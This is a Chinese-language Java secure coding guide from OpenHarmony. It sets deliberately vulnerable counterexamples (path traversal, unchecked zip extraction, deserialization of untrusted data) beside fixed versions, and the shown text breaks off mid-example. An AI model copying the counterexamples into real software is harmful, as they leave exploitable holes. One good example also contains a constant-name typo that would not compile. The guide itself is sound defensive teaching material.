• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1# OpenHarmony Java 安全编程指南
2
3本文档基于Java 语言提供一些安全编程建议,用于指导开发实践。
4
5# 数据类型
6
7## 进行数值运算时,避免整数溢出
8
9**【描述】**
10
11在进行数值运算过程中,确保运算结果在特定的整数类型的数据范围内,避免溢出,导致非预期的结果。
12
13内置的整数运算符不会以任何方式来标识运算结果的上溢或下溢。常见的加、减、乘、除都可能会导致整数溢出。另外,Java数据类型的合法取值范围是不对称的(最小值的绝对值比最大值大1),所以对最小值取绝对值(`java.lang.Math.abs()`)时,也会导致溢出。
14
15对于整数溢出问题,可以通过先决条件检测、使用Math类的安全方法、向上类型转换或者使用`BigInteger`等方法进行规避。
16
17**【反例】**
18
19```java
20public static int multNum(int num1, int num2) {
21    return num1 * num2;
22}
23```
24
25上述示例中,当num1和num2的绝对值较大,两者的乘积大于`Integer.MAX_VALUE`或小于`Integer.MIN_VALUE`时,方法就无法返回正确的计算结果(产生溢出)。
26
27**【正例】**
28
29```java
30public static int multNum(int num1, int num2) {
31    return Math.multiplyExact(num1, num2);
32}
33```
34
35上述示例中,当无法预判乘积结果是否会产生溢出时,使用了Java 8新增的`Math.multiplyExact()`方法,该方法在乘积运算不产生溢出时会返回运算结果,溢出时抛出`ArithmeticException`。
36
37## 确保除法运算和模运算中的除数不为0
38
39**【描述】**
40
41如果除法或模运算中的除数为零可能会导致程序终止或拒绝服务(DoS),因此需要在运算前保证除数不为0。
42
43**【反例】**
44
45```java
46long dividendNum = 0;
47long divisorNum = 0;
48long result1 = dividendNum / divisorNum;
49long result2 = dividendNum % divisorNum;
50```
51
52上述示例中,没有对除数进行非零判断,会导致程序运行错误。
53
54**【正例】**
55
56```java
57long dividendNum = 0;
58long divisorNum = 0;
59if (divisorNum != 0) {
60    long result1 = dividendNum / divisorNum;
61    long result2 = dividendNum % divisorNum;
62}
63```
64
65上述示例中,对除数进行非零判断,然后再进行除法或取余运算。
66
67# 表达式
68
69## 禁止直接使用可能为null的对象,防止出现空指针引用
70
71**【描述】**
72
73访问一个为null的对象时,会导致空引用问题,代码中抛出`NullPointerException`。该类问题应该通过预检查的方式进行消解,而不是通过`try...catch`机制处理`NullPointerException`。
74
75**【反例】**
76
77```java
78String env = System.getenv(SOME_ENV);
79if (env.length() > MAX_LENGTH) {
80    ...
81}
82```
83
84上述示例中,`System.getenv()`返回值可能为null,代码中在使用变量`env`前未判空,会发生空指针引用。
85
86**【正例】**
87
88```java
89String env = System.getenv(SOME_ENV);
90if (env != null && env.length() > MAX_LENGTH) {
91    ...
92}
93```
94
95上述示例中,对`System.getenv()`返回值先判空再使用,消除了空指针引用问题。
96
97# 并发与多线程
98
99## 在异常条件下,保证释放已持有的锁
100
101**【描述】**
102
103一个线程中没有正确释放持有的锁会导致其他线程无法获取该锁对象,导致阻塞。在发生异常时,需要确保程序正确释放当前持有的锁。在异常条件下,同步方法或者块同步中使用的对象内置锁会自动释放。但是大多数的Java锁对象并不是Closeable,无法使用try-with-resources功能自动释放,在这种情况下需要主动释放锁。
104
105**【反例】**(可检查异常)
106
107```java
108public final class Foo {
109    private final Lock lock = new ReentrantLock();
110
111    public void incorrectReleaseLock() {
112        try {
113            lock.lock();
114            doSomething();
115            lock.unlock();
116        } catch (MyBizException ex) {
117            // 处理异常
118        }
119    }
120
121    private void doSomething() throws MyBizException {
122        ...
123    }
124}
125```
126
127上述代码示例中,使用了`ReentrantLock`锁,当`doSomething()`方法抛出异常时,catch代码块中没有释放锁操作,导致锁没有释放。
128
129**【正例】**(finally代码块)
130
131```java
132public final class Foo {
133    private final Lock lock = new ReentrantLock();
134
135    public void correctReleaseLock() {
136        lock.lock();
137        try {
138            doSomething();
139        } catch (MyBizException ex) {
140            // 处理异常
141        } finally {
142            lock.unlock();
143        }
144    }
145
146    private void doSomething() throws MyBizException {
147        ...
148    }
149}
150```
151
152上述代码示例中,成功执行锁定操作后,将可能抛出异常的操作封装在try代码块中。锁在执行try代码块前获取,可保证在执行finally代码时正确持有锁。在finally代码块中调用`lock.unlock()`,可以保证不管是否发生异常都可以释放锁。
153
154**【反例】**(未检查异常)
155
156```java
157final class Foo {
158    private final Lock lock = new ReentrantLock();
159
160    public void incorrectReleaseLock(String value) {
161        lock.lock();
162        ...
163        int index = Integer.parseInt(value);
164        ...
165        lock.unlock();
166    }
167}
168```
169
170上述代码示例中,当`incorrectReleaseLock()`方法传入的String不是数字时,后续的操作会抛出`NumberFormatException`,导致锁未被正确释放。
171
172**【正例】**(finally代码块)
173
174```java
175final class Foo {
176    private final Lock lock = new ReentrantLock();
177
178    public void correctReleaseLock(String value) {
179        lock.lock();
180        try {
181            ...
182            int index = Integer.parseInt(value);
183            ...
184        } finally {
185            lock.unlock();
186        }
187    }
188}
189```
190
191上述代码示例中,成功执行锁定操作后,将可能抛出异常的操作封装在try代码块中。锁在执行try代码块前获取,可保证在执行finally代码时正确持有锁。在finally代码块中调用`lock.unlock()`,可以保证不管是否发生异常都可以释放锁。
192
193## 禁止使用Thread.stop()来终止线程
194
195**【描述】**
196
197线程在正常退出时,会维持类的不变性。某些线程API最初是用来帮助线程的暂停、恢复和终止,但随后因为设计上的缺陷而被废弃。例如,`Thread.stop()`方法会导致线程立即抛出一个`ThreadDeath`异常,这通常会停止线程。调用`Thread.stop()`会造成一个线程非正常释放它所获得的所有锁,可能会暴露这些锁保护的对象,使这些对象处于一个不一致的状态中。
198
199**【反例】**(使用废弃的Thread.stop())
200
201```java
202public final class Foo implements Runnable {
203    private final Vector<Integer> vector = new Vector<Integer>(1000);
204
205    public Vector<Integer> getVector() {
206        return vector;
207    }
208
209    @Override
210    public synchronized void run() {
211        Random number = new Random(123L);
212        int i = vector.capacity();
213        while (i > 0) {
214            vector.add(number.nextInt(100));
215            i--;
216        }
217    }
218
219    public static void main(String[] args) throws InterruptedException {
220        Thread thread = new Thread(new Foo());
221        thread.start();
222        Thread.sleep(5000);
223        thread.stop();
224    }
225}
226```
227
228上述示例中,一个线程将伪随机数写入一个vector中,在经过指定时间后,线程被强迫终止。因为Vector是线程安全的,所以多个线程对共享实例进行的操作是不会让其处于一个不一致的状态。例如,`Vector.size()`方法总是能返回vector中的元素的正确数目。Vector实例是使用自身的隐式锁来保持同步。而`Thread.stop()`方法会导致线程停止在正在进行的操作并抛出`ThreadDeath`异常,所有获得的锁会被释放,如果线程是在加入一个新整数到vector时被停止的,就可能导致处于不一致状态的vector,如因为元素数目是在添加一个元素后增加的,可能会导致`Vector.size()`返回的是错误的元素数目。
229
230**【正例】**(设置线程结束标志)
231
232```java
233public final class Foo implements Runnable {
234    private final Vector<Integer> vector = new Vector<Integer>(1000);
235
236    private boolean done = false;
237
238    public Vector<Integer> getVector() {
239        return vector;
240    }
241
242    public void shutdown() {
243        done = true;
244    }
245
246    @Override
247    public synchronized void run() {
248        Random number = new Random(123L);
249        int i = vector.capacity();
250        while (!done && i > 0) {
251            vector.add(number.nextInt(100));
252            i--;
253        }
254    }
255
256    public static void main(String[] args) throws InterruptedException {
257        Foo foo = new Foo();
258        Thread thread = new Thread(foo);
259        thread.start();
260        Thread.sleep(5000);
261        foo.shutdown();
262    }
263}
264```
265
266上述示例中,使用一个标志来请求线程终止。`shutdown()`方法设置这个标志为true,线程的`run()`方法查询该标志为true时终止执行。
267
268**【正例】**(可中断)
269
270```java
271public final class Foo implements Runnable {
272    private final Vector<Integer> vector = new Vector<Integer>(1000);
273
274    public Vector<Integer> getVector() {
275        return vector;
276    }
277
278    @Override
279    public synchronized void run() {
280        Random number = new Random(123L);
281        int i = vector.capacity();
282        while (!Thread.interrupted() && i > 0) {
283            vector.add(number.nextInt(100));
284            i--;
285        }
286    }
287
288    public static void main(String[] args) throws InterruptedException {
289        Foo foo = new Foo();
290        Thread thread = new Thread(foo);
291        thread.start();
292        Thread.sleep(5000);
293        thread.interrupt();
294    }
295}
296```
297
298上述示例中,调用`Thread.interrupt()`方法来终止线程。调用`Thread.interrupt()`方法设置了一个内部的中断标志。线程可以通过`Thread.interrupted()`方法来检查该标志,该方法会在当前线程被中断时返回true,并会清除该中断标志。
299
300## 线程池中的线程结束后必须清理自定义的ThreadLocal变量
301
302**【描述】**
303
304线程池技术通过重复使用线程以减少线程创建开销。由于线程的复用,导致`ThreadLocal`变量的使用存在以下两类问题:
305
306- 脏数据问题:当前任务未正确初始化`ThreadLocal`变量,导致`ThreadLocal`变量是由该线程执行的其他任务设置的;
307- 内存泄露问题:`ThreadLocal`变量未主动释放,导致内存无法被主动回收。
308
309因此必须保证线程池中每个任务使用的`ThreadLocal`变量在任务结束后被主动清理。
310
311**【正例】**
312
313```java
314public class TestThreadLocal {
315    public static void main(String[] args) {
316        ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100,
317            TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(),
318            Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy());
319        for (int i = 0; i < 20; i++) {
320            pool.execute(new TestThreadLocalTask());
321        }
322    }
323}
324
325class TestThreadLocalTask implements Runnable {
326    private static ThreadLocal<Integer> localValue = new ThreadLocal<>();
327
328    @Override
329    public void run() {
330        localValue.set(STATE1);
331        try {
332            ...
333            localValue.set(STATE3);
334            ...
335        } finally {
336            localValue.remove(); // 需要执行remove方法清理线程局部变量,避免内存泄露
337        }
338    }
339}
340```
341
342# 输入输出
343
344## 在多用户系统中创建文件时指定合适的访问许可
345
346**【描述】**
347
348多用户系统中的文件通常归属于一个特定的用户,文件的属主能够指定系统中哪些用户能够访问该文件的内容。这些文件系统使用权限和许可模型来保护文件访问。当一个文件被创建时,文件访问许可规定了哪些用户可以访问或者操作这个文件。如果创建文件时没有对文件的访问许可做足够的限制,攻击者可能在修改此文件的访问权限之前对其进行读取或者修改。因此,一定要在创建文件时就为其指定访问许可,以防止未授权的文件访问。
349
350**【反例】**
351
352```java
353Writer out = new FileWriter("file");
354```
355
356`FileOutputStream`与`FileWriter`的构造方法无法让程序员显式的指定文件的访问权限。在这个示例中,所创建文件的访问许可取决于具体的实现机制,可能无法防止未授权的访问。
357
358**【正例】**
359
360```java
361Path file = new File("file").toPath();
362
363// 抛出异常而不是覆写已存在的文件
364Set<OpenOption> options = new HashSet<OpenOption>();
365options.add(StandardOpenOption.CREATE_NEW);
366options.add(StandardOpenOption.APPEND);
367
368// 文件权限应设置为只有属主才能读取/写入文件
369Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------");
370FileAttribute<Set<PosixFilePermission>> attr =
371    PosixFilePermissions.asFileAttribute(perms);
372try (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) {
373    ... // 写数据
374}
375```
376
377**【例外】**
378
379如果文件是创建在一个安全目录中,而且该目录对于非受信用户是不可读的,那么允许以默认许可创建文件。例如,如果整个文件系统是可信的或者只有可信用户可以访问,就属于这种情况。
380
381## 使用外部数据构造的文件路径前必须进行校验,校验前必须对文件路径进行规范化处理
382
383**【描述】**
384
385文件路径来自外部数据时,必须对其合法性进行校验,否则可能会产生路径遍历(Path Traversal)漏洞。
386
387文件路径有多种表现形式,如绝对路径、相对路径,路径中可能会含各种链接、快捷方式、影子文件等,这些都会对文件路径的校验产生影响,所以在文件路径校验前要对文件路径进行规范化处理,使用规范化的文件路径进行校验。对文件路径的规范化处理必须使用`getCanonicalPath()`,禁止使用`getAbsolutePath()`(该方法无法保证在所有的平台上对文件路径进行正确的规范化处理)。
388
389**【反例】**
390
391```java
392public void doSomething() {
393    File file = new File(HOME_PATH, fileName);
394    String path = file.getPath();
395
396    if (!validatePath(path)) {
397        throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!");
398    }
399    ... // 对文件进行读写等操作
400}
401
402private boolean validatePath(String path) {
403    if (path.startsWith(HOME_PATH)) {
404        return true;
405    } else {
406        return false;
407    }
408}
409```
410
411上述代码中fileName来自外部输入,直接用fileName的值与固定路径进行拼接,作为实际访问文件的路径,在访问文件之前通过`validatePath`检查了拼接的路径是否在固定目录下,但是攻击者可以通过../这样的路径方式,访问HOME_PATH之外的任意文件。
412
413**【正例】**(getCanonicalPath())
414
415```java
416public void doSomething() {
417    File file = new File(HOME_PATH, fileName);
418    try {
419        String canonicalPath = file.getCanonicalPath();
420        if (!validatePath(canonicalPath)) {
421            throw new IllegalArgumentException("Path Traversal vulnerability!");
422        }
423        ... // 对文件进行读写等操作
424    } catch (IOException ex) {
425        throw new IllegalArgumentException("An exception occurred ...", ex);
426    }
427}
428
429private boolean validatePath(String path) {
430    if (path.startsWith(HOME_PATH)) {
431        return true;
432    } else {
433        return false;
434    }
435}
436```
437
438上述代码示例中,使用外部输入的fileName构造文件路径后,先对文件路径进行规范化,然后用规范化的文件路径进行校验,满足条件后执行文件读写操作。这样可以有效避免路径遍历之类的风险。
439
440## 从ZipInputStream中解压文件必须进行安全检查
441
442**【描述】**
443
444使用`java.util.zip.ZipInputStream`解压文件时,有两个问题需要注意:
445
446**1. 解压出的文件在解压目标目录之外**
447
448解压zip文件时要校验各解压文件的名字,如果文件名包含../会导致解压文件被释放到目标目录之外的目录。因此,任何被解压文件的目标路径不在预期目录之内时,要么拒绝将其解压出来,要么将其解压到一个安全的位置。
449
450**2. 解压的文件消耗过多的系统资源**
451
452解压zip时,不仅要对解压之后的文件数量进行限制,还要对解压之后的文件大小进行限制。zip压缩算法可能有很大的压缩比,可以把超大文件压缩成很小的zip文件。zip文件解压时,如果不对解压后的文件的实际大小进行检查,则可能会使解压后的文件占用大量系统资源,导致zip炸弹(zip bomb)攻击。因此,Zip文件解压时,若解压之后的文件大小超过一定的限制,必须拒绝将其解压。具体大小限制由平台的处理性能来决定。
453
454**【反例】**
455
456```java
457public void unzip(String fileName, String dir) throws IOException {
458    try (FileInputStream fis = new FileInputStream(fileName);
459        ZipInputStream zis = new ZipInputStream(fis)) {
460        ZipEntry entry;
461        File tempFile;
462        byte[] buf = new byte[10240];
463        int length;
464
465        while ((entry = zis.getNextEntry()) != null) {
466            tempFile = new File(dir, entry.getName());
467            if (entry.isDirectory()) {
468                tempFile.mkdirs();
469                continue;
470            }
471
472            try (FileOutputStream fos = new FileOutputStream(tempFile)) {
473                while ((length = zis.read(buf)) != -1) {
474                    fos.write(buf, 0, length);
475                }
476            }
477        }
478    }
479}
480```
481
482上述示例中,未对解压的文件名做验证,直接将文件名传递给`FileOutputStream`构造器。也未检查解压文件的资源消耗情况,允许程序运行到操作完成或者本地资源被耗尽。
483
484**【正例】**
485
486```java
487private static final long MAX_FILE_COUNT = 100L;
488private static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L;
489
490...
491
492public void unzip(FileInputStream zipFileInputStream, String dir) throws IOException {
493    long fileCount = 0;
494    long totalFileSize = 0;
495
496    try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) {
497        ZipEntry entry;
498        String entryName;
499        String entryFilePath;
500        File entryFile;
501        byte[] buf = new byte[10240];
502        int length;
503
504        while ((entry = zis.getNextEntry()) != null) {
505            entryName = entry.getName();
506            entryFilePath = sanitizeFileName(entryName, dir);
507            entryFile = new File(entryFilePath);
508
509            if (entry.isDirectory()) {
510                creatDir(entryFile);
511                continue;
512            }
513
514            fileCount++;
515            if (fileCount > MAX_FILE_COUNT) {
516                throw new IOException("The ZIP package contains too many files.");
517            }
518
519            try (FileOutputStream fos = new FileOutputStream(entryFile)) {
520                while ((length = zis.read(buf)) != -1) {
521                    totalFileSize += length;
522                    zipBombCheck(totalFileSize);
523                    fos.write(buf, 0, length);
524                }
525            }
526        }
527    }
528}
529
530private String sanitizeFileName(String fileName, String dir) throws IOException {
531    File file = new File(dir, fileName);
532    String canonicalPath = file.getCanonicalPath();
533    if (canonicalPath.startsWith(dir)) {
534        return canonicalPath;
535    }
536    throw new IOException("Path Traversal vulnerability: ...");
537}
538
539private void creatDir(File dirPath) throws IOException {
540    boolean result = dirPath.mkdirs();
541    if (!result) {
542        throw new IOException("Create dir failed, path is : " + dirPath.getPath());
543    }
544    ...
545}
546
547private void zipBombCheck(long totalFileSize) throws IOException {
548    if (totalFileSize > MAX_TOTAL_FILE_SIZEG) {
549        throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large.");
550    }
551}
552```
553
554上述示例中,在解压每个文件之前对其文件名进行校验,如果校验失败,整个解压过程会被终止。实际上也可以忽略跳过这个文件,继续后面的解压过程,甚至可以将这个文件解压到某个安全位置。解压缩过程中,在while循环中边读边统计实际解压出的文件总大小,如果达到指定的阈值(MAX_TOTAL_FILE_SIZE),会抛出异常终止解压操作;同时,会统计解压出来的文件的数量,如果达到指定阈值(MAX_FILE_COUNT),会抛出异常终止解压操作。
555
556说明:在统计解压文件的大小时,不应该使用`entry.getSize()`来统计文件大小,`entry.getSize()`是从zip文件中的固定字段中读取单个文件压缩前的大小,文件压缩前的大小可被恶意篡改。
557
558## 对于从流中读取一个字符或字节的方法,使用int类型的返回值
559
560**【描述】**
561
562Java中`InputStream.read()`和`Reader.read()`方法用于从流中读取一个字节(byte)或字符(char)。
563
564`InputStream.read()`读取一个字节,返回值的范围为0x00-0xFF(补码),8位;`Reader.read()`读取一个字符,返回值的范围为0x0000-0xFFFF(补码),16位。
565
566当读取到流的末尾时,以上方法均返回int类型的-1(补码表示为0xFFFFFFFF),32位。
567
568因此,如果在未判断返回值是否是流末尾标志-1(补码表示为0xFFFFFFFF)前将返回值转为byte或char,会导致无法正确判断返回值是流中的内容还是结束标识。
569
570**【反例】**(字节)
571
572```java
573FileInputStream in = getReadableStream();
574
575byte data;
576while ((data = (byte) in.read()) != -1) {
577    // 使用data
578    ...
579}
580```
581
582上述代码中,将`read()`方法返回的值直接转换为byte类型,并将转换后的结果与-1进行比较,进而判断是否达到流的末尾。如果`read()`返回值为0xFF,0xFF转为有符号byte即为byte类型-1,循环结束条件判断通过,结果就是错误的以为流结束了。
583
584**【反例】**(字符)
585
586```java
587InputStreamReader in = getReader();
588
589char data;
590while ((data = (char) in.read()) != -1) {
591    // 使用data
592    ...
593}
594```
595
596上述代码中,将`read()`方法返回的值直接转换为char类型,并将转换后的结果与-1进行比较,进而判断是否达到流的末尾。当读取流结束后,返回值转为char类型后也不为-1,因此即使流读取结束,while循环仍无法正确终止。
597原因是流结束标志-1(补码表示为0xFFFFFFFF)被强转为char类型时,会被转为0xFFFF,再和-1进行比较时等式不成立,导致循环结束条件永假。
598
599**【正例】**(字节)
600
601```java
602FileInputStream in = getReadableStream();
603
604byte data;
605int result;
606while ((result = in.read()) != -1) {
607    data = (byte) result;
608    // 使用data
609    ...
610}
611```
612
613**【正例】**(字符)
614
615```java
616InputStreamReader in = getReader();
617
618char data;
619int result;
620while ((result = in.read()) != -1) {
621    data = (char) result;
622    // 使用data
623    ...
624}
625```
626
627上述代码中,使用int类型的变量来保存`read()`的返回值,并使用该返回值判断是否读取到流的末尾,流未读完时,将读取的内容转换为char或者byte类型,这样就避免了判断流末尾不准确。
628
629## 防止外部进程阻塞在输入输出流上
630
631**【描述】**
632
633Java中有两种方式启动一个外部进程并与其交互:
634
6351. java.lang.Runtime的exec()方法
6362. java.lang.ProcessBuilder的start()方法
637
638他们都返回一个java.lang.Process对象,该对象封装了这个外部进程。
639
640每个Process对象,包含输入流、输出流及错误流各一个,应该恰当地处理这些流,避免外部进程阻塞在这些流上。
641
642不正确的处理会产生异常、DoS,及其他安全问题。
643
6441、处理外部进程的输入流(`Process.getOutputStream()`,**从调用者角度来说,外部进程的输入流是OutputStream**):
645对于需要输入流的外部进程,如果不为其提供一个有效输入,则其会从一个空的输入流中读取输入,导致其一直阻塞。
646
6472、处理外部进程的输出流(`Process.getInputStream()`)和错误流(`Process.getErrorStream()`):
648对于有输出流和错误流的外部进程,如果调用者不处理并且清空对应流,则该外部进程的输出可能会耗尽该进程输出流与错误流的缓冲区,导致外部进程被调用者阻塞,并影响调用者与外部进程的正常交互。
649如果使用`java.lang.ProcessBuilder`来调用外部进程,那么外部进程错误流可以通过`redirectErrorStream()`方法重定向到其输出流,调用者可以通过处理并清空输出流来同时处理错误流。
650
651**【反例】**(错误处理外部进程的返回结果)
652
653```java
654public void execExtProcess() throws IOException {
655    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
656    int exitVal = proc.exitValue();
657}
658```
659
660上述示例中,程序未等到ProcessMaybeStillRunning进程结束就调用`exitValue()`方法,很可能会导致`IllegalThreadStateException`异常。
661
662**【反例】**(未处理外部进程的输出流、错误流)
663
664```java
665public void execExtProcess() throws IOException, InterruptedException {
666    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
667    int exitVal = proc.waitFor();
668}
669```
670
671此示例对比上一个示例,不会产生`IllegalThreadStateException`异常。但是由于没有处理ProcessMaybeStillRunning的输出流和错误流,可能会导致描述中列出的问题。
672
673**【正例】**
674
675```java
676public class ProcessExecutor {
677    public void callExtProcess() throws IOException, InterruptedException {
678        Process proc = Runtime.getRuntime().exec("ProcessHasOutput");
679
680        StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream());
681        StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream());
682
683        errConsumer.start();
684        outputConsumer.start();
685
686        int exitVal = proc.waitFor();
687
688        errConsumer.join();
689        outputConsumer.join();
690    }
691
692    class StreamConsumer extends Thread {
693        InputStream is;
694
695        StreamConsumer(InputStream is) {
696            this.is = is;
697        }
698
699        @Override
700        public void run() {
701            try {
702                byte data;
703                int result;
704                while ((result = is.read()) != -1) {
705                    data = (byte) result;
706                    handleData(data);
707                }
708            } catch (IOException ex) {
709                // 处理异常
710            }
711        }
712
713        private void handleData(byte data) {
714            ...
715        }
716    }
717}
718```
719
720上述示例产生两个线程来分别读取进程的输出流和错误流。因此,外部进程将不会无限期地阻塞在这些流之上。
721
722**【例外】**
723
724对于外部进程不涉及使用输入流、输出流和错误流的场景,可以不对流进行专门处理。
725
726## 临时文件使用完毕必须及时删除
727
728**【描述】**
729
730程序中很多用到临时文件的地方,比如用于进程间的数据共享,缓存内存数据,动态构造的类文件,动态连接库文件等。临时文件可能创建于操作系统的共享临时文件目录。这类目录中的文件可能会被定期清理,例如,每天晚上或者重启时。然而,如果文件未被安全地创建或者用完后还是可访问的,具备本地文件系统访问权限的攻击者便可以利用共享目录中的文件进行恶意操作。删除已经不再需要的临时文件有助于对文件名和其他资源(如二级存储)进行回收利用。每一个程序在正常运行过程中都有责任确保已使用完毕的临时文件被删除。
731
732**【反例】**
733
734```java
735public boolean uploadFile(InputStream in) throws IOException {
736    File tempFile = File.createTempFile("tempname", ".tmp");
737    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
738        int readSize;
739        do {
740            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
741            if (readSize > 0) {
742                fop.write(buffer, 0, readSize);
743            }
744        } while (readSize >= 0);
745        ... // 对tempFile进行其他操作
746    }
747}
748```
749
750上述示例代码在运行结束时未将临时文件删除。
751
752**【正例】**
753
754```java
755public boolean uploadFile(InputStream in) throws IOException {
756    File tempFile = File.createTempFile("tempname", ".tmp");
757    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
758        int readSize;
759        do {
760            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
761            if (readSize > 0) {
762                fop.write(buffer, 0, readSize);
763            }
764        } while (readSize >= 0);
765        ... // 对tempFile进行其他操作
766    } finally {
767        if (!tempFile.delete()) {
768            // 忽略
769        }
770    }
771}
772```
773
774以上例子,在临时文件使用完毕之后,finally语句里对其进行了彻底删除。
775
776# 序列化
777
778#### 禁止直接将外部数据进行反序列化
779
780**【描述】**
781
782反序列化操作是将一个二进制流或字符串反序列化为一个Java对象。当反序列化操作的数据是外部数据时,恶意用户可利用反序列化操作构造指定的对象、执行恶意代码、向应用程序中注入有害数据等。不安全反序列化操作可能导致任意代码执行、特权提升、任意文件访问、拒绝服务等攻击。
783
784实际应用中,通常采用三方件实现对json、xml、yaml格式的数据序列化和反序列化操作。常用的三方件包括:fastjson、jackson、XMLDecoder、XStream、SnakeYmal等。
785
786**【反例】**
787
788```java
789public class DeserializeExample implements Serializable {
790    private static final long serialVersionUID = -5809782578272943999L;
791
792    private String name;
793
794    public String getName() {
795        return name;
796    }
797
798    public void setName(String name) {
799        this.name = name;
800    }
801
802    private void readObject(java.io.ObjectInputStream ois) {
803        ois.defaultReadObject();
804        System.out.println("Hack!");
805    }
806}
807
808    // 使用外部数据执行反序列化操作
809    ObjectInputStream ois2= new ObjectInputStream(fis);
810    PersonInfo myPerson = (PersonInfo) ois2.readObject();
811```
812
813上面的示例中,当反序列化操作的对象是攻击者构造的DeserializeExample对象的序列化结果,当`PersonInfo myPerson = (PersonInfo) ois2.readObject()`该语句执行时会报错,但是DeserializeExample对象中的`readObject()`方法中的攻击代码已经被执行。
814
815**【正例】**(使用白名单校验)
816
817```java
818public final class SecureObjectInputStream extends ObjectInputStream {
819    public SecureObjectInputStream() throws SecurityException, IOException {
820        super();
821    }
822
823    public SecureObjectInputStream(InputStream in) throws IOException {
824        super(in);
825    }
826
827    protected Class<?> resolveClass(ObjectStreamClass desc)
828        throws IOException, ClassNotFoundException {
829        if (!desc.getName().equals("com.xxxx.PersonInfo")) { // 白名单校验
830            throw new ClassNotFoundException(desc.getName() + " not find");
831        }
832        return super.resolveClass(desc);
833    }
834}
835```
836
837上述示例是对反序列化的类进行白名单检查。即在自定义ObjectInputStream中重载`resolveClass()`方法,对className进行白名单校验。如果反序列化的类不在白名单之中,直接抛出异常。
838
839**【正例】**(使用安全管理器防护)
840
841如果产品已经使用Java的安全管理器,建议使用Java安全管理器机制进行防护。
842
843(1) 设置enableSubclassImplementation
844
845```
846permission java.io.SerializablePermission "enableSubclassImplementation";
847
848```
849
850(2) 定义ObjectInputStream,重载resolveClass的方法
851
852```java
853public final class HWObjectInputStream extends ObjectInputStream {
854    public HWObjectInputStream() throws SecurityException, IOException {
855        super();
856    }
857
858    public HWObjectInputStream(InputStream in) throws IOException {
859        super(in);
860    }
861
862    protected Class<?> resolveClass(ObjectStreamClass desc)
863        throws IOException, ClassNotFoundException {
864        SecurityManager sm = System.getSecurityManager();
865        if (sm != null) {
866            sm.checkPermission(new SerializablePermission(
867                "com.xxxx." + desc.getName()));
868        }
869        return super.resolveClass(desc);
870    }
871}
872```
873
874(3) 在policy文件里设置白名单
875
876```
877permission java.io.SerializablePermission "com.xxxx.PersonInfo";
878
879```
880
881# 外部数据校验
882
883## 外部数据使用前必须进行合法性校验
884
885**描述】**
886
887外部数据的范围包括但不限于:网络、用户输入(包括命令行、界面)、命令行、文件(包括程序的配置文件) 、环境变量、进程间通信(包括管道、消息、共享内存、socket等、RPC)、跨信任域方法参数(对于API)等。
888
889来自程序外部的数据通常被认为是不可信的,在使用这些数据前需要进行合法性校验,否则可能会导致不正确的计算结果、运行时异常、不一致的对象状态,甚至引起各种注入攻击,对系统造成严重影响。
890
891**对外部数据的校验包括但不局限于:**
892
893- 校验API接口参数合法性;
894- 校验数据长度;
895- 校验数据范围;
896- 校验数据类型和格式;
897- 校验集合大小;
898- 校验外部数据只包含可接受的字符(白名单校验),尤其需要注意一些特殊情况下的特殊字符。
899
900对于外部数据的校验,要注意以下两点:
901
902- 如果需要,外部数据校验前要先进行标准化:例如“\uFE64”、“<”都可以表示“<”,在web应用中,如果外部输入不做标准化,可以通过“\uFE64”绕过对“<”限制。
903- 对外部数据的修改要在校验前完成,保证实际使用的数据与校验的数据一致。
904
905出于性能和代码简洁性考虑,对于RESTful API,provider只校验请求信息,consumer只校验响应结果;对于一个调用链上的方法,最外层的对外public方法必须校验,内部public方法可不重复校验。
906
907**常见校验框架:**
908
909接口:JSR 380(Bean Validation 2.0)、JSR 303(Bean Validation 1.0)JavaBean参数校验标准,核心接口javax.validation.Validator,定义了很多常用的校验注解。
910实现:hibernate-validator 、Spring:
911
912- hibernate-validator 是 JSR 380(Bean Validation 2.0)、JSR 303(Bean Validation 1.0)规范的实现,同时扩展了注解:@Email、@Length、@NotEmpty、@Range等。
913- Spring validator 同样实现了JSR 380和JSR 303,并提供了MethodValidationPostProcessor类,用于对方法的校验。
914
915产品可自主选择合适的校验框架,也可以自主开发实现外部数据校验。
916
917**【反例】**
918
919```java
920/**
921 * 更换公司信息
922 *
923 * @param companies 新旧公司信息
924 * @return 更换公司是否成功
925 */
926@RequestMapping(value = "/updating", method = RequestMethod.POST)
927public boolean updateCompany(@RequestBody Companies companies) {
928    return employeeService.updateCompany(companies.getSrcCompany(),
929        companies.getDestCompany());
930}
931```
932
933上面的错误代码,provider对外开放的`updateCompany()`接口未对请求体做校验,存在被恶意攻击的风险。
934
935**【正例】**
936
937```java
938/**
939 * 更换公司信息
940 *
941 * @param companies 新旧公司信息
942 * @return 更换公司是否成功
943 */
944@RequestMapping(value = "/updating", method = RequestMethod.POST)
945public boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) {
946    return employeeService.updateCompany(
947        companies.getSrcCompany(), companies.getDestCompany());
948}
949
950@Setter
951@Getter
952public class Companies {
953    @Valid
954    @NotNull
955    private Company srcCompany;
956
957    @Valid
958    @NotNull
959    private Company destCompany;
960}
961
962@Setter
963@Getter
964@Accessors(chain = true)
965public class Company {
966    @NotBlank
967    @Size(min = 10, max = 256)
968    private String name;
969
970    @NotBlank
971    @Size(min = 10, max = 512)
972    private String address;
973
974    @Valid
975    private SubCompany subCompany;
976}
977```
978
979上述示例使用@Valid注解触发参数校验,校验逻辑为对象属性声明时通过注解指定的规则。对外接口内部调用的public方法`employeeService.updateCompany()`由于只有本模块使用,非对外接口,而且调用的地方已做参数校验,可以不做参数判断。
980
981**【反例】**
982
983获取环境变量值后未校验,直接使用。
984
985```java
986public static String getFile(String filePath, String fileName) {
987    // 获取进程的classpath路径
